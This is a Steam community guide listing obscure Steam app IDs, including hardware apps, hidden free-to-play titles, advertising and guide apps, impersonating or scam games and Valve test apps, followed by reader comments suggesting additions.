In a fake package called Half-Life 3 for Beta Testing
no name (Half Life 3)
366560
Fake

Hardware-Apps
These might be useful for showcases on your profile.

ID
Name
Icon
  
ID
Name
Icon
855060
Huawei VR2
353500
ORIGIN OMEGA
353440
Falcon Nortdwest Tiki
353450
Gigabyte BRIX Pro
353510
Scan 3XS ST
353470
Maingear DRIFT
353530
ZOTAC NEN Steam Machine
353420
Syber Steam Machine
353390
Alienware Steam Machine
353410
Asus ROG GR8S
353400
Alternate Steam Machine
353430
Digital Storm Eclipse Steam Machine
353460
iBuyPower SBX
353480
Materiel.net Steam Machine
353490
NextBox
353520
Webhallen S15-01
Hidden Free2Play games
These games can be used to track hours and to upload screenshots. However you can even "really" play them by using this guide: http://gtm.you1.cn/sharedfiles/filedetails/?id=612123836

Name
ID
Icon
Name
ID
Icon
Age of Empires Online
105430
Arcane Saga Online
238110
Arctic Combat
212370
Arma 2: Free
107400
Battle for Graxia
90530
Brawl Busters
109410
Bullet Run
211880
Codename Gordon
92
District 187
221080
Dungeon Fighter Online
212220
F.E.A.R. Online
223650
FNaF World
427920
Haunted Memories
241640
MapleStory
216150
Pandora Saga: Weapons of Balance
106010
Renaissance Heroes
221790
Rusty Hearts
36630
Spacewar
480
TERA
389300
TERA - EU
323370
Vanguard: Saga of Heroes F2P
218210
Wizardry Online
221360
Advertising Apps
Advertising Apps seem to be used for developer/publisher specific sales. Most apps listed here have a public community hub and thus allow you to post there (likely without anyone noticing). This seems unintentional and is perhaps caused by an incorrect configuration (there are also many hidden Advertising Apps).

At the time of writing, none of them can be acquired or included in a profile showcase (except the ones listed in a previous section).

Name
ID
Name
ID
Name
ID
Name
ID
11bit Advertising App
962010
Advertising App - astragon Publisher Sale
714550
Active Gaming advertising app
349890
Aerosoft Advertising App
858340
Bohemia Advertising App
768440
Croteam Advertising App
885610
Cyan Advertising App
1003340
Degica Advertising App
751130
Devolver Advertising App 2019
1010980
Devolver Digital Advertising App
561840
Disney Launch Advertising App
327320
Dovetail Franchise Advertising App
658190
Europa and Hearts Advertising App
659210
Frontier Developments Advertising App
838040
Good Shepherd Advertising App
721520
Good Shepherd Advertising App
960110
Iceberg Franchise App
729860
Klei Advertising App
752160
Night Dive advertising app
336390
Ninja Theory Advertising App
1088100
Orwell Advertising App
1038460
Plug In Digital Advertising App
1045330
RPG Maker - Franchise Advertising App
432090
Sonic Franchise Advertising App
378990
Spiderweb Software Advertising App
1035380
Surprise Attack/Fellow Traveller Advertising App
910900
Sword Art Online Advertising App
910780
Titan Quest Advertising App
860800
Guide Apps
There are many apps classified as a Guide. While you can not buy them anymore, you can use them for game showcases and hidden group chats. Note that all of them will display Steam's no image available icon.


App Name
ID
Notes
Arcania Gothic 4 - Prima Official Strategy Guide
22814
Assassin's Creed 2 - Prima Official Strategy Guide
22803
Assassin's Creed 3 Prima eGuide
232710
Assassin's Creed Brotherhood - Prima Official Strategy Guide
22821
Assassin's Creed Revelation Prima Official Strategy Guide
200002
Battlefield: Bad Company 2 - Prima Official Strategy Guide
22815
Borderlands 2 Official Brady Guide
101008
Brady Test Guide
101000
BRINK: Prima Official Strategy Guide
22890
Bulletstorm - Prima Official Strategy Guide
22818
Call of Duty: Black Ops Brady Guide
101003
Call of Duty: Modern Warfare 3 Brady Guide
101005
Civilization V: Gods and Kings Brady Guide
101007
Darksiders 2 - Prima Guide
206787
Dead Island Brady Guide
101004
Dead Space 2 - Prima Official Strategy Guide
22817
Dragon Age II - Prima Official Strategy Guide
22819
Dragon Age: Origins - Awakening - Prima Official Strategy Guide
22875
Dragon Age: Origins - Prima Official Strategy Guide
22870
Dragon Age: Origins - Ultimate - Prima Official Strategy Guide
22885
Duke Nukem Forever Brady Guide
101002
Dungeon Siege III: Prima Official Strategy Guide
22889
Elder Scrolls V: Skyrim Prima Guide
200000
Fallout: New Vegas - Prima Official Strategy Guide
22813
Far Cry 2: Prima Official eGuide
22800
Far Cry 3 Prima eGuide
232690
Game of Thrones Prima Official Strategy Guide
206784
Hitman: Absolution – Prima Guide
206788
Homefront: Prima Official Strategy Guide
22888
Hunted: Demon's Forge Prima Official Strategy Guide
22892
Jagged Alliance: Back in Action Prima Official Strategy Guide
206781
Just Cause 2 - Prima Official Strategy Guide
22835
L.A. Noire Brady Guide
101006
Left 4 Dead 2 - Prima Official Strategy Guide
22825
Mass Effect 2 - Official eGuide
22880
Medal of Honor - Prima Official Strategy Guide
22816
Men of War Condemned Heroes Prima Guide
206782
Might and Magic: Heroes VI Prima Official Strategy Guide
22895
Prima Guide Allocation Range
206780
Prince of Persia: The Forgotten Sands - Prima Official Strategy Guide
22845
R.U.S.E. - Prima Official Strategy Guide
22812
RAGE Prima Official Strategy Guide
22894
Saints Row The Third Prima Official Strategy Guide
200001
Sleeping Dogs Prima Official eGuide
206785
Sniper: Ghost Warrior 2 Prima eGuide with Steam Exclusive Bonus
232730
Splinter Cell Conviction - Prima Official Strategy Guide
22805
The Witcher 2 Enhanced Edition Prima Official Strategy Guide
206783
Tom Clancy’s Ghost Recon Future Soldier eGuide
206786
Total War: Shogun 2 Brady Guide
101001
Tropico 4: Prima Official Strategy Guide
22896
Warhammer 40,000: Space Marine Prima Official Strategy Guide
22893
Impersonations / Fake Games
Neither exhaustive nor necessarily accurate. Includes apps which were either scams, trolls or otherwise have similar names and/or appear to have been banned by Valve. Check on SteamDB for notes from xPaw.

App Name
ID
Impersonated Game
Notes
Half Life 3
366560
Half Life 3
Measurement Problem
534960
PLAYERUNKNOWN'S BATTLEGROUNDS
Endless Dream
629350
Dota 2
Dota 2 item scam
scram
773920
Shrek 5
Abstractism
781600
Team Fortress 2
According to reports a cryptominer, included fake TF2 skins
Bitcoin Miner
810270
Team Fortress 2
PLAYERUNKNOWN'S BATTLEBOXES
819180
PLAYERUNKNOWN'S BATTLEGROUNDS
Climber
858220
Dota 2
Dota 2 item scam
2333
863860
Cyberpunk 2077
Chinese name is Cyberpunk 2077, likely a test
Te Demo
870370
Half Life 3
In a fake package calledHalf-Life 3 for Beta Testing
ДОКА 2 / Doka 2 TRADE kishki
928200
Dota 2

Also known as Hentai Strike 1.6 for its inventory items
Grigala Runner
936410
Counter-Strike: Global Offensive
Data 2
958270
Dota 2
Data 2_
960760
Dota 2
Rota 2
962320
Dota 2
Doka 2 Trade
966770
Dota 2

Community Hub is still up
Doca 2
968160
Dota 2
D0ta 2
975070
Dota 2 and LYNE
Balance In The Mountains
1043540
Counter-Strike: Global Offensive
CUBG: Car Unknown's Battlegrounds
1096650
PLAYERUNKNOWN'S BATTLEGROUNDS
Is still purchasable
顶酱
1117210
Cyberpunk 2077
Likely a test
CUBER STRIKE
1264400
Counter-Strike
COUNTER PIXEL - GO GUN STRIKE
1301510
Counter-Strike: Global Offensive
Dota2nobu
1421160
Dota 2

Community Hub is still up
Fast Race Game
1440580
Counter-Strike: Global Offensive
Zombıe game
1511390
Counter-Strike: Global Offensive
Relux
1739780
Counter-Strike: 2 Limited Test
Untitled Project
1805710
Team Fortress 2
Golden Frying Pan, also 2091470, 2091471, 2091472
Deserted Island
2219650
Rocket League
EFT
2247310
Escape From Tarkov
Counter-Fight: Global Strike
2318530
Counter-Strike: Global Offensive
Pirateland
2384540
Assassin's Creed Mirage
Carrot The Cat
2548190
The Day Before
Stolen Mushrooms
2607810
Palworld
Figurality
2607830
HELLDIVERS 2
BUBG Single on the Ground
2616080
PLAYERUNKNOWN'S BATTLEGROUNDS
Is still purchasable
DO NOT SMILE
2630550
HELLDIVERS 2
Extreme Riding
2630570
Escape From Tarkov
Furious Rage
2630580
Last Epoch
Conquer-Strike 2
2654780
Counter Strike 2
BEST FIGHTER
2762000
Counter Strike 2
157
2822580
The Day Before
Grand Theft Auto 6
2869070
Grand Theft Auto 6
Last Epoch 2
2869090
Last Epoch 2
Lethal Company 2
2869100
Lethal Company 2
Ready Or Not 2
2869110
Ready Or Not 2
Rust 2
2869120
Rust 2
ELDEN RING 2
2869140
ELDEN RING 2
Dota 3
2869150
Dota 3
Blur
2912850
Blur

(game icon)
League of Legends
2926190
League of Legends
Minecraft
2927300
Minecraft
Wolfenstein
2932830
Wolfenstein (2009)
Minecraft
3049290
Minecraft
Valve Test Apps
work in progress

These are by far not all apps with that naming scheme. Most of them are just interesting for one reason or another e.g. having a public group chat.
⠀⠀⠀⠀⋅ 0 - 230000
App Name
ID
Related Game
Availability
Icon
Notes
ValveTestApp490
490
Unreal Dev Comp (1895)
Public group chat
ValveTestApp843
843
Portal
Public group chat
ValveTestApp851
851
Team Fortress 2
Public group chat
ValveTestApp852
852
Portal
ValveTestApp854
854
Half-Life 2 Episode Two
Public group chat
ValveTestApp1507-do-not-use
1507
ValveTestApp1528-do-not-use
1528
ValveTestApp3750
3750
404 app icon
ValveTestApp6750
6750
Public group chat
ValveTestApp7680
7680
BioShock (7670)
Public group chat
ValveTestApp9360
9360
Supreme Commander (9350)
404 app icon
Public group chat
ValveTestApp11600 content 2
11602
Counter-Strike Online (11600)
Public group chat
ValveTestApp11904
11904
Public group chat
ValveTestApp12849
12849
Dirt 2
ValveTestApp13900
13900
Rise of Nations Gold (33000)
ValveTestApp19610
19610
Grimm
ValveTestApp19620
19620
Grimm
ValveTestApp48960
48960
Greed Corp (48950), Image title says Gatling Gears
Public group chat
ValveTestApp113800
113800
Public group chat
ValveTestApp227820
227820
Stronghold
Public group chat
ValveTestApp228420
228420
Public group chat
ValveTestApp228620
228620
Public group chat
ValveTestApp228670
228670
Public group chat
ValveTestApp229380
229380
Egosoft Developer (X, X2, X3)
Public group chat
ValveTestApp229430
229430
Egosoft Developer (X, X2, X3)
Public group chat
ValveTestApp226900
226900
Strike Suit Zero
Public group chat
ValveTestApp229690
229690
Power of Two Test App Comp (25301)
Public group chat

⠀⠀⠀⠀⋅ 230000 onwards
App Name
ID
Related Game
Availability
Icon
Notes
ValveTestApp231450
231450
Public group chat
ValveTestApp231690
231690
Public group chat
ValveTestApp231830
231830
Warframe (230410)
ValveTestApp231950
231950
Public group chat
ValveTestApp232190
232190
Public group chat
ValveTestApp232850
232850
Out There Somewhere (25748)
Public group chat
ValveTestApp233430
233430
Public group chat
ValveTestApp234550
234550
Leap Day Early Access Comp (26296)
Public group chat
ValveTestApp234760
234760
Kenshi (233860)
ValveTestApp235300
235300
Testing App Bi (26503)
Public group chat
ValveTestApp235500
235500
Untitled Game (26545)
Public group chat
ValveTestApp235840
235840
Call of Juarez Gunslinger (204450) and 235841, 235842
Public group chat
ValveTestApp237330
237330
Public group chat
ValveTestApp297520
297520
Company of Heroes 2 - Ardennes Assault: Fox Company Rangers (323230)
ValveTestApp377130
377130
Guardians of the Forest
ValveTestApp398280
398280
no name (ValveTestApp713750)
713750
ValveTestApp726440
726440
no name (ValveTestApp823440)
823440
no name (ValveTestApp1168930)
1168930
🤬🍆 (1156670)
no name (ValveTestTool1174150)
1174150
🤬🍆 (1156670)
Credits and final words
Many thanks to SteamDB[steamdb.info] for making this guide even possible. Most of the data was taken from them.
Please note that I do not have any special access to information and some of the associations are speculative. This guide does not claim to be accurate or without faults. If you rely on this data, please verify it yourself and use the source material.

All names, links and identifiable information is taken either directly from Steam, content produced by Valve (e.g. YouTube videos) or from their official twitter accounts. The amount of personal information published here is purposefully very limited, but can obviously be removed entirely if requested. Simply message me or ask in a comment.

The logo was created using a database icon from Megaicons[www.megaicons.net]. The icons were created by Freepik[www.freepik.com] and Smashicons[www.flaticon.com] from https://www.flaticon.com/ and are licensed by CC 3.0 BY.
Комментариев: 71
󠁳⁧⁧ Lurazius 21 ноя в 0:35 
is there actually a game/app which doesn't has an name at all?
rednael 14 окт в 23:32 
Icon for "Steam for Linux" 221410 is 404 now
C-SSTV MANAGER 8 окт в 4:22 
AoA:Retired (?) Appid: 2576960
uniQ  [создатель] 3 окт в 17:13 
good find :greenlike:
C-SSTV MANAGER 3 окт в 9:12 
HBDIE: 2 Appid: 2066250
uniQ  [создатель] 14 апр в 19:41 
Kinda forgot about it, but they are added now. Ty :greenlike:
C-SSTV MANAGER 3 фев в 7:41 
:cupup::csdsmile:
uniQ  [создатель] 3 фев в 7:07 
thanks, added that one + a few more things
C-SSTV MANAGER 3 фев в 0:19 
AoF Chess Club 2.0 appid 385020

After the removal, the developer changed the logo and renamed it to "none".